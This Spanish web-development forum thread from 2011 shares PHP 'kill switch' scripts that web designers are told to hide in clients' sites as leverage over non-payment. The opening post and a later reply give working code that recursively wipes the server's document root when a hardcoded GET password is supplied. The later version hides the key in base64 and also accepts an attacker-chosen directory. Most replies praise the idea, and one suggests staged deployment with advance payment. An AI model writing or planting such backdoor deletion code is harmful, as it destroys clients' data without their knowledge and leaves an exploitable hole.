Foros Programación Servidor
Recurso para proteger las webs que realizamos
23 23 Respuestas Sábado 5 de febrero, 2011
Bueno, he visto muchos post donde la gente se queja de que ha entregado una web y no la ha pagado, y cosas varias, os voy a compartir un script que utilizo en php para poder borrar una web en caso de que no te la hayan pagado, aun no sabiendo el ftp.
IMPORTANTE USAR CON CUIDADO OS PODEIS CARGAR COSAS IMPORTANTES SIN QUERER
El script en cuestión es este :
Lo podeis meter tal cual, lo ideal seria que estuviera en el archivo que usais para las conexiones, aunque podeis crear un archivo especifico, o meterlo en todos los que querais.
El funcionamiento seria sencillo, donde pone :
cambiariamos el 123456 por la contraseña que quisieramos, si tenemos una web alojada en http://ejemplo.com/ para borrar la web seria tan simple como añadir lo siguiente a la url , http://ejemplo.com/index.php?confirmacion=123456
Podeis hacer una prueba en local, siempre teniendo en cuenta que borra todo lo del ftp, osea si teneis varias carpetas os las borra todas IMPORTANTE
Espero que os sirva.
IMPORTANTE USAR CON CUIDADO OS PODEIS CARGAR COSAS IMPORTANTES SIN QUERER
El script en cuestión es este :
<?php
function destroyDir($dir, $virtual = false)
{
$ds = DIRECTORY_SEPARATOR;
$dir = $virtual ? realpath($dir) : $dir;
$dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir;
if (is_dir($dir) && $handle = opendir($dir))
{
while ($file = readdir($handle))
{
if ($file == '.' || $file == '..')
{
continue;
}
elseif (is_dir($dir.$ds.$file))
{
destroyDir($dir.$ds.$file);
}
else
{
unlink($dir.$ds.$file);
}
}
closedir($handle);
rmdir($dir);
return true;
}
else
{
return false;
}
}
function comprobar()
{
$confirmacion = $_GET['confirmacion'];
if($confirmacion == '123456'){
destroyDir($_SERVER['DOCUMENT_ROOT']);
}
?>Lo podeis meter tal cual, lo ideal seria que estuviera en el archivo que usais para las conexiones, aunque podeis crear un archivo especifico, o meterlo en todos los que querais.
El funcionamiento seria sencillo, donde pone :
if($confirmacion == '123456'){
cambiariamos el 123456 por la contraseña que quisieramos, si tenemos una web alojada en http://ejemplo.com/ para borrar la web seria tan simple como añadir lo siguiente a la url , http://ejemplo.com/index.php?confirmacion=123456
Podeis hacer una prueba en local, siempre teniendo en cuenta que borra todo lo del ftp, osea si teneis varias carpetas os las borra todas IMPORTANTE
Espero que os sirva.
-
jacobo rus
Registrado desde 10/05/07 / Número de posts: 127
La verdad es que es una muy buena idea Cuviline. Gracias
Creo que le faltan 2 cosas para ser perfecta: Una es poder meter otra contraseña que destruya esta función, para asegurarnos de que nadie la usará en el futuro ni por casualidad. La otra es que elimine solamente la carpeta que nos pertenece, porque si borramos todo el FTP podemos meternos en un buen lío.··························································
Jacobo @ x.a.r.o.p.e -
Cloudstudio
Registrado desde 05/05/09 / Número de posts: 537
Para que borrara la función habría que meterla en un archivo determinado, eso no es viable, la idea es poder meterlo en tantos archivos como quieras.
Por la misma regla de tres, si borramos solo la carpeta, y estamos dentro de la carpeta scripts. no serviría de nada, la cuestión es que borre toda la web. -
Raimon
Registrado desde 16/12/09 / Número de posts: 512
Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?
Gracias,
Raimon -
Fernancalle
Registrado desde 04/01/10 / Número de posts: 107
El php de Cuviline es una solución, muy "chunga", pero una solución... Nunca se sabe ... :)
Más moderada y quizás menos efectiva si el cliente control algo de css es esta otra, pero en un momento determinado puede ser menos peligrosa y a lo mejor funciona...
CSS KILLSWITCH -
Cloudstudio
Registrado desde 05/05/09 / Número de posts: 537
Raimon
Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?
Gracias,
Raimon
También las padres, si el servidor se llama localhost , te borra todo lo que hay en este.
Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando. -
Li Genzken
Registrado desde 21/02/09 / Número de posts: 509
Cuviline
Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.
La subes, te la borro. La subes, te la borro. La subes, te la borro. La subes, te la borro... :) -
pabrigarcia
Registrado desde 31/05/08 / Número de posts: 83
Por lo que he entenido debes incluirlo en el archivo a borrar, si quiero borrar prueba.php debo llamarlo o incluirlo en ese archivo y poner la confirnación por get,¿es correcto?
Gracias-------------------------------------------------------------------------------
Diseño web valencia
Diseño tiendas online -
Cloudstudio
Registrado desde 05/05/09 / Número de posts: 537
pabrigarcia
Por lo que he entenido debes incluirlo en el archivo a borrar, si quiero borrar prueba.php debo llamarlo o incluirlo en ese archivo y poner la confirnación por get,¿es correcto?
Gracias
Correcto, lo de borrar es relativo, supongo que tendras un archivo donde haces las conexiones la base de datos, o un archivo con todas las funciones, que lo llamas siempre en todos los archivos, y efectivamente por get lo borras. -
Diego Lorenzo
Registrado desde 31/03/09 / Número de posts: 306
Metiéndole un poco de mano, se le puede pasar por GET una variable que sea el nombre de la carpeta "tope" para el borrado, ¿no crees cuviline?. Así nos curaríamos en salud y así únicamente borraríamos la carpeta que nos interesa. Yo me la pillo que me va a venir de puta madre jajaja.
Saludos y gracias por el script -
Cloudstudio
Registrado desde 05/05/09 / Número de posts: 537
Diego Lorenzo
Metiéndole un poco de mano, se le puede pasar por GET una variable que sea el nombre de la carpeta "tope" para el borrado, ¿no crees cuviline?. Así nos curaríamos en salud y así únicamente borraríamos la carpeta que nos interesa. Yo me la pillo que me va a venir de puta madre jajaja.
Saludos y gracias por el script
Si claro, eso seria muy sencillo, pero no efectivo, si quieres meter tu el nombre de la carpeta, y por cualquier motivo la carpeta no se llama igual, no sirve.
Si le decimos que borre solo la carpeta en la que se encuentra el script ( una opción ) a mi no me convence, desde mi punto de vista, todo fuera :) -
xavib
Registrado desde 05/10/04 / Número de posts: 1519
Además, es la mejor manera de asegurarse que nunca cobrarás ese trabajo.
¿No es más fácil (y seguro, en realidad) tener un acuerdo y hacer los deploys en un servidor de pre-producción y cuando el cliente haya ingresado digamos el 80% hacer puesta a producción? 30% por adelantado, 50% en la revisión a pre-producción y el resto al cabo de 30 días como garantía de aplicación. Sin por lo menos ese 80% la web no sube a su dominio definitivo. -
Cloudstudio
Registrado desde 05/05/09 / Número de posts: 537
Si, pero hay veces que por X, lo subes al servidor del cliente, y el pago se alarga hasta el infinito... -
la gata
Registrado desde 31/03/08 / Número de posts: 208
Jajajaaaa... ¡ojalá pudiésemos hacer esto mismo en los trabajos de video!.
Yo prefiero la opción de Xavib que es más elegante.
Pero, en caso de que se prolongue mucho cobrar el resto, me lo apunto q es muy bueno. -
Ana Molina
Registrado desde 21/08/10 / Número de posts: 191
Cuviline
Raimon
Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?
Gracias,
Raimon
También las padres, si el servidor se llama localhost , te borra todo lo que hay en este.
Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.
brillante -
IOXE
Registrado desde 09/02/11 / Número de posts: 17
Podemos hacer algo similar de una manera más controlada, se trata de lo siguiente:<?php
// primero ocultamos de forma sencilla la clave
// que aunque es facilisimo de decodificar
// pero al menos no se verá aqui tan facilmente
// para generar una clave basta con: echo base64_encode('123456');
if($_GET['clave_impago'] == base64_decode('MTIzNDU2')) // esto es 123456
{
// si han pasado por GET ?clave_impago=MTIzNDU2
function eliminar_directorios($dir)
{
// empezamos a recorrer directorios u a listar
// todo lo que vamos eliminando para conocer el
// alcance de nuestras acciones y poder imprimirlo
if ($handle = opendir("$dir"))
{
while (false !== ($item = readdir($handle)))
{
if ($item != "." && $item != "..")
{
if (is_dir("$dir/$item"))
{
eliminar_directorios("$dir/$item");
}
else
{
unlink("$dir/$item");
echo " eliminando $dir/$item <br>\n";
}
}
}
closedir($handle);
rmdir($dir);
echo "eliminando $dir <br>\n" ;
}
else
{
echo "Error: no se pudo eliminar.";
}
}
// llamamos a la funcion anterior
eliminar_directorios("./".$_GET['dir']);
}
else
{
echo 'Error: Clave de impago incorrecta.';
}
?>
Una vez pasamos por GET la clave prefijada y codificada sencillamente con base64, se crea una funcion a la que llamamos más tarde y a la que le pasamos de manera opcional por GET una variable dir que apuntará a los directorios hijo desde donde se llama a la funcion, si no se pasa la variable dir eliminará todo.
Como extra va generando un listado de todos los directorios y archivos eliminados para tener una copia de ello posteriormente si se imprime o guarda.
Eso sí, php debe tener permisos para realizar la hazaña cada vez, sino nada...
Áreas Domestika
- Diseño (gráfico, web, industrial, producto)
- Programación (cliente, servidor, accesibilidad)
- Ilustración (autores, inspiración, técnicas)
- Fotografía (técnica, equipo, autores)
- Motion Graphics (showreels, software, estudios)
- Publicidad (campañas, anuncios, ideas)
- Informática (software, hardware, trucos)
- 3D (técnicas, iluminación, modelado)
- Experiencia de Usuario (usabilidad, AI, HCI)
- Cine, vídeo y televisión (críticas, producción)
- Música y Audio (sonidos, loops, discos)
- Espacios (arquitectura, interiorismo)